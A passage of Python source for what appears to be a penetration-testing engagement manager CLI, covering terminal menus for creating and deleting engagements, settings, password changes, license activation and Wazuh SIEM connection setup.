        click.echo("  [+] Create - Create new engagement")
        click.echo("  [-] Delete - Delete engagement(s)")
        click.echo("  [d] Deliverables - Track progress")
        click.echo("  [q] Back")

        click.echo()
        click.echo(click.style("  Select option: ", bold=True), nl=False)

        try:
            choice_input = input().strip().lower()

            # Handle navigation
            if choice_input == 'q':
                return

            elif choice_input == 'n' and current_page < total_pages - 1:
                current_page += 1
                continue

            elif choice_input == 'p' and current_page > 0:
                current_page -= 1
                continue

            elif choice_input == 'a':
                # Toggle pagination
                view_all = not view_all
                if not view_all:
                    current_page = 0
                continue

            elif choice_input == '/':
                # Search filter
                filters['search'] = _filter_engagements_by_search()
                current_page = 0
                continue

            elif choice_input == 'd':
                # Deliverables Tracker
                if not current_ws:
                    click.echo(click.style("\n  ⚠️  Please select an engagement first!", fg='yellow'))
                    click.pause()
                    continue
                from souleyez.ui.deliverables_view import show_deliverables_dashboard
                show_deliverables_dashboard(current_ws['id'])
                continue

            elif choice_input == 'i':
                # Interactive mode
                from souleyez.ui.interactive_selector import interactive_select

                # Build engagement dicts for selector
                eng_dicts = []
                for e in engagements:
                    stats = em.stats(e['id'])
                    eng_dicts.append({
                        'id': e['id'],
                        'name': e['name'],
                        'hosts': stats['hosts'],
                        'findings': stats['findings']
                    })

                def format_eng_cell(item: dict, key: str) -> str:
                    value = item.get(key)
                    if value is None:
                        return '-'
                    if key == 'name' and item['id'] == current_id:
                        return f"[bold green]{value}[/bold green]"
                    return str(value)

                interactive_select(
                    items=eng_dicts,
                    columns=[
                        {'name': 'ID', 'width': 6, 'key': 'id', 'justify': 'right'},
                        {'name': 'Name', 'width': 30, 'key': 'name'},
                        {'name': 'Hosts', 'width': 8, 'key': 'hosts', 'justify': 'right'},
                        {'name': 'Findings', 'width': 10, 'key': 'findings', 'justify': 'right'},
                    ],
                    selected_ids=selected_ids,
                    get_id=lambda e: e['id'],
                    title='SELECT ENGAGEMENTS',
                    format_cell=format_eng_cell
                )

                # Show bulk action menu if engagements selected
                if selected_ids:
                    _engagements_bulk_action_menu(selected_ids, em, current_id)
                continue

            elif choice_input.isdigit():
                # Select engagement by ID directly
                ws_id = int(choice_input)
                ws = em.get_by_id(ws_id)
                if ws:
                    if em.set_current(ws['name']):
                        click.echo(click.style(f"\n  ✓ Switched to engagement '{ws['name']}' (ID: {ws_id})", fg='green'))
                    else:
                        click.echo(click.style(f"\n  ✗ Failed to switch to engagement!", fg='red'))
                else:
                    click.echo(click.style(f"\n  ✗ Engagement ID {ws_id} not found!", fg='red'))
                click.pause()

            elif choice_input == '+':
                # Create engagement with template selection
                from souleyez.core.templates import list_templates, get_template, display_template_info, apply_template_settings

                click.echo()
                click.echo(click.style("  ╔═══════════════════════════════════════════════╗", fg='cyan'))
                click.echo(click.style("  ║       CREATE NEW ENGAGEMENT                   ║", fg='cyan'))
                click.echo(click.style("  ╚═══════════════════════════════════════════════╝", fg='cyan'))
                click.echo()
                click.echo(click.style("  Select a workflow preset (optional):", fg='white'))
                click.echo(click.style("  Presets provide recommended tools and phases for common engagements.", fg='bright_black'))
                click.echo()

                templates = list_templates()
                for i, tmpl in enumerate(templates, 1):
                    click.echo(f"    {click.style(str(i), fg='cyan')}. {tmpl.icon} {tmpl.name}")
                    click.echo(click.style(f"       {tmpl.description}", fg='white'))
                    click.echo()

                click.echo(f"    {click.style('s', fg='yellow')}. Skip - Create without preset")
                click.echo(f"    {click.style('c', fg='yellow')}. Cancel")
                click.echo()

                try:
                    tmpl_input = click.prompt("  Select preset", type=str, default='s').strip().lower()
                except click.Abort:
                    tmpl_input = 'c'

                if tmpl_input == 'c':
                    click.echo(click.style("\n  Cancelled.", fg='yellow'))
                    click.pause()
                    continue

                selected_template = None
                if tmpl_input != 's':
                    try:
                        tmpl_choice = int(tmpl_input)
                        if 1 <= tmpl_choice <= len(templates):
                            selected_template = templates[tmpl_choice - 1]
                            # Show preset details
                            display_template_info(selected_template)
                            if not click.confirm("  Use this preset?", default=True):
                                click.echo(click.style("\n  Cancelled.", fg='yellow'))
                                click.pause()
                                continue
                    except ValueError:
                        pass  # Invalid input, treat as skip

                # Get engagement name
                ws_name = click.prompt("\n  Enter engagement name", type=str)
                if not ws_name.strip():
                    click.echo(click.style("\n  ✗ Engagement name cannot be empty!", fg='red'))
                    click.pause()
                    continue

                # Get scope
                if selected_template and selected_template.scope_examples:
                    scope_hint = selected_template.scope_examples[0]
                else:
                    scope_hint = "192.168.1.0/24 or example.com"
                ws_scope = click.prompt(f"  Enter target scope (e.g., {scope_hint})", type=str, default="")

                try:
                    # Build description
                    description_parts = []
                    if selected_template:
                        description_parts.append(f"Preset: {selected_template.name}")
                    if ws_scope.strip():
                        description_parts.append(f"Scope: {ws_scope.strip()}")
                    description = " | ".join(description_parts) if description_parts else ""

                    # Create engagement
                    ws_id = em.create(
                        ws_name.strip(),
                        description=description,
                        engagement_type=selected_template.id if selected_template else 'custom'
                    )
                    em.set_current(ws_name.strip())

                    click.echo()
                    click.echo(click.style(f"  ✓ Created engagement '{ws_name}' (ID: {ws_id})", fg='green'))
                    if selected_template:
                        click.echo(click.style(f"  ✓ Applied preset: {selected_template.name}", fg='green'))
                    click.echo()

                    # Show next steps based on preset
                    if selected_template and selected_template.recommended_tools:
                        click.echo(click.style("  Recommended first steps:", fg='yellow'))
                        if selected_template.scan_phases:
                            first_phase = selected_template.scan_phases[0]
                            click.echo(f"    1. {first_phase.name}: {first_phase.description}")
                            tools_str = ", ".join(first_phase.tools[:3])
                            click.echo(f"       Tools: {tools_str}")
                        click.echo("    Run scans from: Main Menu → Run Tools")
                        click.echo()
                    else:
                        click.echo("  Next: Main Menu → Run Tools to start scanning")
                        click.echo()

                except ValueError as e:
                    click.echo(click.style(f"\n  ✗ {e}", fg='red'))
                except Exception as e:
                    if "UNIQUE constraint failed" in str(e):
                        click.echo(click.style(f"\n  ✗ Engagement '{ws_name}' already exists!", fg='red'))
                    else:
                        click.echo(click.style(f"\n  ✗ Error creating engagement: {e}", fg='red'))
                click.pause()

            elif choice_input == '-':
                # Delete engagement by ID
                try:
                    ws_id = click.prompt("\n  Enter engagement ID to delete", type=int)
                    ws = em.get_by_id(ws_id)

                    if ws:
                        if ws['id'] == current_id:
                            click.echo(click.style("\n  ✗ Cannot delete the current engagement! Switch to another first.", fg='red'))
                        elif click.confirm(f"\n  Are you sure you want to delete '{ws['name']}' (ID: {ws_id})? This will delete all data!", default=False):
                            # Check if engagement has credentials and encryption is enabled
                            from souleyez.storage.credentials import CredentialsManager
                            from souleyez.storage.crypto import get_crypto_manager
                            
                            cm = CredentialsManager()
                            crypto = get_crypto_manager()
                            creds = cm.list_credentials(ws['id'], decrypt=False)
                            
                            # Require password if encryption is enabled AND engagement has credentials
                            if crypto.is_encryption_enabled() and len(creds) > 0:
                                click.echo()
                                click.echo(click.style(f"🔒 This engagement contains {len(creds)} credential(s).", fg='yellow'))
                                click.echo(click.style("   Password required to delete.", fg='yellow'))
                                click.echo()
                                
                                import getpass
                                password = getpass.getpass("Enter master password: ")
                                
                                if not crypto.unlock(password):
                                    click.echo(click.style("\n  ✗ Incorrect password. Deletion cancelled.", fg='red'))
                                    click.pause()
                                    continue
                                
                                click.echo(click.style("\n  ✓ Password verified", fg='green'))
                            
                            # Proceed with deletion
                            em.delete(ws['name'])  # delete() takes name, not ID
                            click.echo(click.style(f"\n  ✓ Deleted engagement '{ws['name']}'", fg='green'))
                        else:
                            click.echo("\n  Cancelled.")
                    else:
                        click.echo(click.style(f"\n  ✗ Engagement ID {ws_id} not found!", fg='red'))
                except ValueError:
                    click.echo(click.style("\n  ✗ Invalid ID! Please enter a number.", fg='red'))
                click.pause()

            elif choice_input == '-a':
                # Delete all engagements (requires '-a' to avoid accidents)
                all_engs = em.list()

                if not all_engs:
                    click.echo(click.style("\n  ✗ No engagements to delete!", fg='yellow'))
                    click.pause()
                    continue

                # Ask if they want to keep current
                keep_current = False
                if current_ws:
                    keep_current = click.confirm(f"\n  Keep current engagement '{current_ws['name']}'?", default=True)

                # Filter engagements
                to_delete = []
                for eng in all_engs:
                    if keep_current and current_ws and eng['id'] == current_ws['id']:
                        continue
                    to_delete.append(eng)

                if not to_delete:
                    click.echo(click.style("\n  ✗ No engagements to delete!", fg='yellow'))
                    click.pause()
                    continue

                # Show preview
                click.echo(click.style(f"\n  ⚠️  Warning: This will delete {len(to_delete)} engagement(s):", fg='red', bold=True))
                for eng in to_delete[:10]:
                    click.echo(f"    - {eng['name']} (ID: {eng['id']})")

                if len(to_delete) > 10:
                    click.echo(f"    ... and {len(to_delete) - 10} more")
                
                if keep_current and current_ws:
                    click.echo(click.style(f"\n  ✓ Will keep: {current_ws['name']}", fg='green'))
                
                # Final confirmation
                if click.confirm(f"\n  Are you SURE you want to delete {len(to_delete)} engagement(s)?", default=False):
                    # Check if any engagements have credentials and encryption is enabled
                    from souleyez.storage.credentials import CredentialsManager
                    from souleyez.storage.crypto import get_crypto_manager
                    
                    cm = CredentialsManager()
                    crypto = get_crypto_manager()
                    
                    # Count total credentials across all engagements to be deleted
                    total_creds = 0
                    for eng in to_delete:
                        creds = cm.list_credentials(eng['id'])
                        total_creds += len(creds)
                    
                    # Require password if encryption is enabled AND there are credentials
                    if crypto.is_encryption_enabled() and total_creds > 0:
                        click.echo()
                        click.echo(click.style(f"🔒 These engagements contain {total_creds} total credential(s).", fg='yellow'))
                        click.echo(click.style("   Password required to delete.", fg='yellow'))
                        click.echo()
                        
                        import getpass
                        password = getpass.getpass("Enter master password: ")
                        
                        if not crypto.unlock(password):
                            click.echo(click.style("\n  ✗ Incorrect password. Deletion cancelled.", fg='red'))
                            click.pause()
                            continue
                        
                        click.echo(click.style("\n  ✓ Password verified", fg='green'))
                    
                    # Proceed with deletion
                    click.echo()
                    deleted = 0
                    failed = 0
                    
                    with click.progressbar(to_delete, label='  Deleting') as bar:
                        for eng in bar:
                            try:
                                if em.delete(eng['name']):
                                    deleted += 1
                                else:
                                    failed += 1
                            except:
                                failed += 1
                    
                    click.echo()
                    click.echo(click.style(f"  ✓ Deleted {deleted} engagement(s)", fg='green'))
                    if failed > 0:
                        click.echo(click.style(f"  ✗ Failed to delete {failed} engagement(s)", fg='red'))
                else:
                    click.echo(click.style("\n  Cancelled.", fg='yellow'))
                
                click.pause()

            else:
                click.echo(click.style("\n  ✗ Invalid choice!", fg='red'))
                click.pause()

        except (KeyboardInterrupt, EOFError):
            return


def settings_security_menu():
    """Settings and security menu."""
    from souleyez.storage.crypto import get_crypto_manager
    
    while True:
        DesignSystem.clear_screen()
        click.echo()
        render_standard_header("SETTINGS & SECURITY")
        
        crypto = get_crypto_manager()
        
        # Encryption status
        if crypto.is_encryption_enabled():
            enc_status = click.style("ENABLED", fg='green', bold=True)
        else:
            enc_status = click.style("DISABLED", fg='red', bold=True)
        
        click.echo(f"  🔒 Encryption Status: {enc_status}")
        click.echo()

        # Check if user is admin and Pro for access control
        from souleyez.auth import get_current_user, Role
        from souleyez.auth.permissions import Tier
        current_user = get_current_user()
        is_admin = current_user and current_user.role == Role.ADMIN
        is_pro = current_user and current_user.tier == Tier.PRO

        click.echo("  ⚙️  OPTIONS")
        click.echo("  " + "─" * 70)
        click.echo("    [1] Credential Vault        - Encryption settings, vault password")
        if is_pro:
            click.echo("    [2] Auto-chaining Settings  " + click.style("💎 ", fg='bright_magenta') + "- Configure tool auto-chaining behavior")
        else:
            click.echo("    [2] Auto-chaining Settings  " + click.style("🔒 PRO ", fg='yellow') + "- Configure tool auto-chaining behavior")
        click.echo("    [3] Worker Settings         - Background worker configuration")
        click.echo("    [4] System Information      - View system info, logs, database location")
        click.echo("    [5] Database Migrations     - Apply pending database migrations")
        click.echo("    [6] Tool Dependencies       - Verify external pentesting tools")
        if is_pro:
            click.echo("    [7] AI Settings             " + click.style("💎 ", fg='bright_magenta') + "- Provider selection, Ollama, Claude API")
        else:
            click.echo("    [7] AI Settings             " + click.style("🔒 PRO ", fg='yellow') + "- Provider selection, Ollama, Claude API")
        if is_admin:
            click.echo("    [8] Users & Access          - Manage users, roles, permissions (Admin)")
        click.echo("    [p] Change Password         - Change your login password")
        click.echo("    [l] License Management      - Activate Pro license, view status")
        click.echo("    [w] Setup Wizard            - Re-run first-time setup wizard")
        click.echo("    [d] Diagnostics             - Run system diagnostics (doctor)")
        click.echo("    [t] Tutorial                - Interactive guided tutorial")
        click.echo()
        click.echo("    [q] ← Back")
        click.echo()

        try:
            choice = click.prompt("  Select option", type=str, default="q", show_default=False).strip().lower()

            if choice == "q":
                return
            elif choice == "1":
                _manage_encryption_settings()
            elif choice == "2":
                if not is_pro:
                    _show_upgrade_prompt("Auto-chaining Settings")
                else:
                    _manage_autochaining_settings()
            elif choice == "3":
                _worker_management_menu()
            elif choice == "4":
                _show_system_info()
            elif choice == "5":
                _manage_database_migrations()
            elif choice == "6":
                _check_tool_dependencies()
            elif choice == "7":
                if not is_pro:
                    _show_upgrade_prompt("AI Settings")
                else:
                    _ai_settings_menu()
            elif choice == "8":
                if is_admin:
                    _user_management_menu()
                else:
                    click.echo(click.style("\n  ✗ Admin access required!", fg='red'))
                    click.pause()
            elif choice == "w":
                from souleyez.ui.setup_wizard import run_setup_wizard
                run_setup_wizard()
            elif choice == "d":
                # Run diagnostics (doctor)
                click.echo()
                click.echo(click.style("  Running diagnostics...", fg='cyan'))
                click.echo()
                from souleyez.main import _run_doctor
                _run_doctor(fix=False, verbose=True)
                click.pause("\n  Press Enter to continue...")
            elif choice == "t":
                # Run tutorial
                from souleyez.ui.tutorial import run_tutorial
                run_tutorial()
            elif choice == "l":
                _license_management_menu()
            elif choice == "p":
                _change_own_password()
            else:
                click.echo(click.style("\n  ✗ Invalid choice!", fg='red'))
                click.pause()

        except (KeyboardInterrupt, EOFError):
            return


def _change_own_password():
    """Allow any user to change their own password."""
    import getpass
    from souleyez.auth import get_current_user
    from souleyez.auth.user_manager import UserManager

    current_user = get_current_user()
    if not current_user:
        click.echo(click.style("\n  ✗ No user logged in!", fg='red'))
        click.pause()
        return

    DesignSystem.clear_screen()
    click.echo()
    render_standard_header("CHANGE PASSWORD")
    click.echo()
    click.echo(f"  User: {current_user.username}")
    click.echo()
    click.echo(click.style("  Requirements: 8+ chars, upper, lower, digit, special", fg='bright_black'))
    click.echo()

    try:
        # Verify current password first
        current_pw = getpass.getpass("  Current password: ")

        user_mgr = UserManager()
        if not user_mgr.verify_password(current_user.username, current_pw):
            click.echo(click.style("\n  ✗ Current password is incorrect!", fg='red'))
            click.pause()
            return

        # Get new password
        new_pw = getpass.getpass("  New password: ")
        confirm_pw = getpass.getpass("  Confirm new password: ")

        if new_pw != confirm_pw:
            click.echo(click.style("\n  ✗ Passwords do not match!", fg='red'))
            click.pause()
            return

        # Change password
        success, error = user_mgr.change_password(current_user.id, new_pw)

        if success:
            click.echo()
            click.echo(click.style("  ✓ Password changed successfully!", fg='green'))
        else:
            click.echo(click.style(f"\n  ✗ {error}", fg='red'))

        click.pause()

    except (KeyboardInterrupt, EOFError):
        return


def _license_management_menu():
    """License management menu for activating/viewing Pro licenses."""
    from souleyez.licensing import get_active_license, activate_license, deactivate_license
    from souleyez.licensing.validator import get_machine_id

    while True:
        DesignSystem.clear_screen()
        click.echo()
        render_standard_header("LICENSE MANAGEMENT")

        # Get current license status
        license_info = get_active_license()

        if license_info and license_info.is_valid:
            click.echo(click.style("  License Status: ACTIVE", fg='green', bold=True))
            click.echo()
            click.echo(f"  Email:   {license_info.email}")
            click.echo(f"  Tier:    {click.style(license_info.tier, fg='magenta', bold=True)}")

            if license_info.expires_at:
                days = license_info.days_remaining
                if days > 30:
                    color = 'green'
                elif days > 7:
                    color = 'yellow'
                else:
                    color = 'red'
                click.echo(f"  Expires: {license_info.expires_at.strftime('%Y-%m-%d')} ({click.style(f'{days} days', fg=color)})")
            else:
                click.echo(f"  Expires: {click.style('Never (perpetual)', fg='green')}")

            if license_info.machine_id:
                click.echo(f"  Bound:   Machine-specific")
        else:
            click.echo(click.style("  License Status: FREE TIER", fg='yellow', bold=True))
            click.echo()
            click.echo("  Upgrade to Pro to unlock:")
            click.echo("    • Intelligence Hub - Attack surface & exploit suggestions")
            click.echo("    • Auto-chaining - Automatic follow-up scans")
            click.echo("    • AI Recommendations - Smart analysis")
            click.echo("    • Team Dashboard - Collaboration features")
            click.echo("    • Export View - Professional reports")

        click.echo()
        click.echo("  ⚙️  OPTIONS")
        click.echo("  " + "─" * 70)
        click.echo("    [a] Activate License        - Enter your Pro license key")
        click.echo("    [s] View Status             - Detailed license information")
        click.echo("    [m] Machine ID              - For hardware-bound licenses")
        if license_info and license_info.is_valid:
            click.echo("    [y] Sync User Tier          - Update your account to PRO")
            click.echo("    [d] Deactivate              - Remove license (revert to FREE)")
        click.echo()
        click.echo("    [p] Purchase Pro            - Visit souleyez.com/pricing")
        click.echo()
        click.echo("    [q] ← Back")
        click.echo()

        try:
            choice = click.prompt("  Select option", type=str, default="q", show_default=False).strip().lower()

            if choice == "q":
                return
            elif choice == "a":
                click.echo()
                click.echo("  Enter your license key (paste the full key):")
                click.echo()
                license_key = click.prompt("  License key", type=str, hide_input=False)

                click.echo()
                click.echo(click.style("  Validating license...", fg='cyan'))

                success, message = activate_license(license_key.strip())

                if success:
                    click.echo()
                    click.echo(click.style("  ✓ License activated successfully!", fg='green', bold=True))
                    click.echo(f"    {message}")

                    # Update user tier
                    try:
                        from souleyez.auth import get_current_user, UserManager
                        from souleyez.auth.permissions import Tier
                        from souleyez.storage.database import get_db

                        user = get_current_user()
                        if user:
                            user_mgr = UserManager(get_db().db_path)
                            info = get_active_license()
                            tier_success, tier_error = user_mgr.set_user_tier(
                                user.id,
                                Tier.PRO,
                                license_key=license_key[:20] + "...",
                                expires_at=info.expires_at if info else None,
                                _bypass_validation=True  # Already validated
                            )
                            if tier_success:
                                click.echo(click.style(f"  ✓ User '{user.username}' upgraded to PRO tier", fg='green'))
                                click.echo()
                                click.echo(click.style("  🔐 Re-authenticate to unlock PRO capabilities.", fg='cyan'))
                            else:
                                click.echo(click.style(f"  ⚠ Could not update user tier: {tier_error}", fg='yellow'))
                        else:
                            click.echo(click.style("  ⚠ No logged-in user to upgrade", fg='yellow'))
                    except Exception as e:
                        click.echo(click.style(f"  ⚠ Could not update user tier: {e}", fg='yellow'))
                else:
                    click.echo()
                    click.echo(click.style(f"  ✗ {message}", fg='red'))

                click.pause("\n  Press Enter to continue...")

            elif choice == "s":
                click.echo()
                if license_info and license_info.is_valid:
                    click.echo(click.style("  LICENSE DETAILS", bold=True))
                    click.echo("  " + "─" * 50)
                    click.echo(f"  Email:      {license_info.email}")
                    click.echo(f"  Tier:       {license_info.tier}")
                    click.echo(f"  Issued:     {license_info.issued_at.strftime('%Y-%m-%d %H:%M')}")
                    if license_info.expires_at:
                        click.echo(f"  Expires:    {license_info.expires_at.strftime('%Y-%m-%d %H:%M')}")
                        click.echo(f"  Remaining:  {license_info.days_remaining} days")
                    else:
                        click.echo("  Expires:    Never (perpetual)")
                    if license_info.machine_id:
                        click.echo(f"  Machine:    Bound to {license_info.machine_id[:16]}...")
                    else:
                        click.echo("  Machine:    Any machine")
                else:
                    click.echo("  No active license.")
                    click.echo("  You are on the FREE tier.")
                click.pause("\n  Press Enter to continue...")

            elif choice == "m":
                click.echo()
                mid = get_machine_id()
                click.echo("  Machine ID (for hardware-bound licenses):")
                click.echo()
                click.echo(f"    {mid}")
                click.echo()
                click.echo("  Provide this when purchasing a machine-specific license.")
                click.pause("\n  Press Enter to continue...")

            elif choice == "y":
                if license_info and license_info.is_valid:
                    click.echo()
                    click.echo(click.style("  Syncing user tier with license...", fg='cyan'))
                    try:
                        from souleyez.auth import get_current_user, UserManager
                        from souleyez.auth.permissions import Tier
                        from souleyez.storage.database import get_db

                        user = get_current_user()
                        if user:
                            user_mgr = UserManager(get_db().db_path)
                            tier_success, tier_error = user_mgr.set_user_tier(
                                user.id,
                                Tier.PRO,
                                license_key=f"synced-{license_info.email[:20]}",
                                expires_at=license_info.expires_at,
                                _bypass_validation=True
                            )
                            if tier_success:
                                click.echo()
                                click.echo(click.style(f"  ✓ User '{user.username}' upgraded to PRO tier!", fg='green', bold=True))
                                click.echo()
                                click.echo(click.style("  🔐 Re-authenticate to unlock PRO capabilities.", fg='cyan'))
                            else:
                                click.echo(click.style(f"  ✗ Failed: {tier_error}", fg='red'))
                        else:
                            click.echo(click.style("  ✗ No logged-in user found", fg='red'))
                    except Exception as e:
                        click.echo(click.style(f"  ✗ Error: {e}", fg='red'))
                    click.pause("\n  Press Enter to continue...")

            elif choice == "d":
                if license_info and license_info.is_valid:
                    click.echo()
                    click.echo(click.style("  Warning: This will remove your Pro license.", fg='yellow'))
                    if click.confirm("  Are you sure?"):
                        if deactivate_license():
                            click.echo()
                            click.echo(click.style("  ✓ License removed. You are now on FREE tier.", fg='green'))

                            # Reset ALL users with PRO tier to FREE
                            try:
                                from souleyez.auth import UserManager
                                from souleyez.storage.database import get_db

                                user_mgr = UserManager(get_db().db_path)
                                count, _ = user_mgr.reset_all_pro_tiers()
                                if count > 0:
                                    click.echo(f"  Reset {count} user(s) to FREE tier.")
                            except Exception:
                                pass
                        else:
                            click.echo(click.style("  ✗ Failed to remove license.", fg='red'))
                        click.pause("\n  Press Enter to continue...")

            elif choice == "p":
                click.echo()
                click.echo("  Visit: https://souleyez.com/pricing")
                click.echo()
                click.echo("  Or contact: sales@souleyez.com")
                click.pause("\n  Press Enter to continue...")

            else:
                click.echo(click.style("\n  ✗ Invalid choice!", fg='red'))
                click.pause()

        except (KeyboardInterrupt, EOFError):
            return


def _wazuh_integration_menu():
    """Wazuh SIEM integration settings menu."""
    from souleyez.integrations.wazuh.client import WazuhClient
    from souleyez.integrations.wazuh.config import WazuhConfig
    from souleyez.storage.engagements import EngagementManager

    while True:
        DesignSystem.clear_screen()
        click.echo()
        render_standard_header("WAZUH SIEM INTEGRATION")

        # Get current engagement
        em = EngagementManager()
        current = em.get_current()

        if not current:
            click.echo(click.style("\n  ⚠ No active engagement. Select an engagement first.", fg='yellow'))
            click.pause()
            return

        engagement_id = current['id']
        click.echo(f"  📁 Engagement: {click.style(current['name'], fg='cyan', bold=True)}")
        click.echo()

        # Check current config
        config = WazuhConfig.get_config(engagement_id)

        if config and config.get('enabled'):
            # Test connection
            try:
                client = WazuhClient(
                    api_url=config['api_url'],
                    username=config['api_user'],
                    password=config['api_password'],
                    verify_ssl=config.get('verify_ssl', False),
                    indexer_url=config.get('indexer_url'),
                    indexer_user=config.get('indexer_user'),
                    indexer_password=config.get('indexer_password')
                )
                conn_result = client.test_connection()
                if conn_result.get('connected'):
                    status = click.style("✓ CONNECTED", fg='green', bold=True)
                    version = conn_result.get('version', 'unknown')
                    status += f" (Wazuh {version})"
                else:
                    status = click.style("✗ CONNECTION FAILED", fg='red', bold=True)
            except Exception as e:
                status = click.style(f"✗ ERROR: {str(e)[:30]}", fg='red')

            click.echo(f"  🛡️  Status: {status}")
            click.echo(f"  🌐 Manager: {config['api_url']} ({config['api_user']})")
            if config.get('indexer_url'):
                indexer_user = config.get('indexer_user', 'admin')
                click.echo(f"  📊 Indexer: {config['indexer_url']} ({indexer_user})")

            # Get agent summary
            try:
                agents = client.get_agents()
                if agents:
                    active = sum(1 for a in agents if a.get('status') == 'active')
                    disconnected = sum(1 for a in agents if a.get('status') == 'disconnected')
                    total = len(agents)
                    agent_summary = f"{total} total"
                    if active > 0:
                        agent_summary += f", {click.style(str(active), fg='green')} active"
                    if disconnected > 0:
                        agent_summary += f", {click.style(str(disconnected), fg='red')} disconnected"
                    click.echo(f"  📡 Agents: {agent_summary}")
            except Exception:
                pass  # Silently skip if agent fetch fails
        else:
            click.echo(f"  🛡️  Status: {click.style('NOT CONFIGURED', fg='yellow')}")

        click.echo()
        click.echo("  ⚙️  OPTIONS")
        click.echo("  " + "─" * 60)
        click.echo("    [1] Configure Wazuh Connection")
        click.echo("    [2] Test Connection")
        click.echo("    [3] View Wazuh Agents")
        click.echo("    [4] View Recent Alerts")
        if config and config.get('enabled'):
            click.echo("    [5] " + click.style("Validate Detections", bold=True) + " (Check attack coverage)")
        click.echo("    [6] View Attack Signatures")
        if config:
            click.echo("    [d] Delete Configuration")
        click.echo()
        click.echo("    [q] ← Back")
        click.echo()

        try:
            choice = click.prompt("  Select option", type=str, default="q", show_default=False).strip().lower()

            if choice == "q":
                return
            elif choice == "1":
                _configure_wazuh_connection(engagement_id)
            elif choice == "2":
                _test_wazuh_connection(engagement_id)
            elif choice == "3":
                _view_wazuh_agents(engagement_id)
            elif choice == "4":
                _view_wazuh_alerts(engagement_id)
            elif choice == "5" and config and config.get('enabled'):
                _validate_detections(engagement_id)
            elif choice == "6":
                _view_attack_signatures()
            elif choice == "d" and config:
                if click.confirm("  Delete Wazuh configuration?", default=False):
                    WazuhConfig.delete_config(engagement_id)
                    click.echo(click.style("\n  ✓ Configuration deleted", fg='green'))
                    click.pause()
            else:
                click.echo(click.style("\n  ✗ Invalid choice!", fg='red'))
                click.pause()

        except (KeyboardInterrupt, EOFError):
            return


def _configure_wazuh_connection(engagement_id: int):
    """Configure Wazuh API connection."""
    from souleyez.integrations.wazuh.config import WazuhConfig
    from souleyez.integrations.wazuh.client import WazuhClient

    DesignSystem.clear_screen()
    click.echo()
    render_standard_header("CONFIGURE WAZUH CONNECTION")
    click.echo()

    # Get existing config for defaults
    existing = WazuhConfig.get_config(engagement_id)

    default_url = existing['api_url'] if existing else "https://10.0.0.111:55000"
    default_user = existing['api_user'] if existing else "wazuh"

    click.echo("  " + click.style("Wazuh Manager API", bold=True) + " (port 55000):")
    click.echo()

    api_url = click.prompt("  Manager URL", default=default_url).strip()
    api_user = click.prompt("  Manager Username", default=default_user).strip()
    api_password = click.prompt("  Manager Password", hide_input=True).strip()

    click.echo()
    click.echo("  " + click.style("Wazuh Indexer API", bold=True) + " (port 9200 - for alerts):")
    click.echo()

    # Derive default indexer URL from manager URL
    default_indexer_url = existing.get('indexer_url') if existing else api_url.replace(':55000', ':9200')
    default_indexer_user = existing.get('indexer_user') if existing else "admin"

    indexer_url = click.prompt("  Indexer URL", default=default_indexer_url).strip()
    indexer_user = click.prompt("  Indexer Username", default=default_indexer_user).strip()
    indexer_password = click.prompt("  Indexer Password", hide_input=True).strip()

    click.echo()
    verify_ssl = click.confirm("  Verify SSL certificates?", default=False)

    click.echo()
    click.echo("  Testing Manager connection...")

    try:
        client = WazuhClient(
            api_url=api_url,
            username=api_user,
            password=api_password,
            verify_ssl=verify_ssl,
            indexer_url=indexer_url,
            indexer_user=indexer_user,
            indexer_password=indexer_password
        )
        result = client.test_connection()

        if result.get('connected'):
            click.echo(click.style(f"  ✓ Connected to Wazuh {result.get('version', '')}", fg='green'))

            # Save config
            WazuhConfig.save_config(
                engagement_id=engagement_id,
                api_url=api_url,
                api_user=api_user,
                api_password=api_password,
                indexer_url=indexer_url,
                indexer_user=indexer_user,
                indexer_password=indexer_password,
                verify_ssl=verify_ssl,
                enabled=True
            )
            click.echo(click.style("  ✓ Configuration saved", fg='green'))
        else:
            click.echo(click.style(f"  ✗ Connection failed: {result.get('error', 'Unknown error')}", fg='red'))

    except Exception as e:
        click.echo(click.style(f"  ✗ Error: {str(e)}", fg='red'))

    click.echo()
    click.pause()


def _test_wazuh_connection(engagement_id: int):
    """Test Wazuh connection and show status."""
    from souleyez.integrations.wazuh.config import WazuhConfig
    from souleyez.integrations.wazuh.client import WazuhClient

    config = WazuhConfig.get_config(engagement_id)
    if not config:
        click.echo(click.style("\n  ⚠ Wazuh not configured for this engagement", fg='yellow'))
        click.pause()
        return

    click.echo("\n  Testing connection...")

    try:
        client = WazuhClient(
            api_url=config['api_url'],
            username=config['api_user'],
            password=config['api_password'],
            verify_ssl=config.get('verify_ssl', False),
            indexer_url=config.get('indexer_url'),
            indexer_user=config.get('indexer_user'),
            indexer_password=config.get('indexer_password')
        )
        result = client.test_connection()

        click.echo()
        if result.get('connected'):
            click.echo(click.style("  ✓ Connection successful!", fg='green', bold=True))
            click.echo(f"    Version: {result.get('version', 'unknown')}")
            click.echo(f"    Hostname: {result.get('hostname', 'unknown')}")
            click.echo(f"    Cluster: {'Yes' if result.get('cluster') else 'No'}")
        else:
            click.echo(click.style(f"  ✗ Connection failed: {result.get('error')}", fg='red'))

    except Exception as e:
        click.echo(click.style(f"  ✗ Error: {str(e)}", fg='red'))

    click.echo()
    click.pause()


def _view_wazuh_agents(engagement_id: int):
    """View registered Wazuh agents."""
    from souleyez.integrations.wazuh.config import WazuhConfig
    from souleyez.integrations.wazuh.client import WazuhClient

    config = WazuhConfig.get_config(engagement_id)
    if not config:
        click.echo(click.style("\n  ⚠ Wazuh not configured", fg='yellow'))
        click.pause()
        return

    DesignSystem.clear_screen()
    click.echo()
    render_standard_header("WAZUH AGENTS")
    click.echo()

    try:
        client = WazuhClient(
            api_url=config['api_url'],
            username=config['api_user'],
            password=config['api_password'],
            verify_ssl=config.get('verify_ssl', False),
            indexer_url=config.get('indexer_url'),
            indexer_user=config.get('indexer_user'),
            indexer_password=config.get('indexer_password')
        )
        agents = client.get_agents()

        if not agents:
            click.echo("  No agents found.")
        else:
            click.echo(f"  Found {len(agents)} agent(s):\n")
            for agent in agents:
                status = agent.get('status', 'unknown')
                status_color = 'green' if status == 'active' else 'red' if status == 'disconnected' else 'yellow'
                click.echo(f"    • {agent.get('name', 'unknown')}")
                click.echo(f"      ID: {agent.get('id', 'N/A')} | IP: {agent.get('ip', 'N/A')}")
                click.echo(f"      Status: {click.style(status, fg=status_color)} | OS: {agent.get('os', {}).get('name', 'unknown')}")
                click.echo()

    except Exception as e:
        click.echo(click.style(f"  ✗ Error: {str(e)}", fg='red'))

    click.pause()


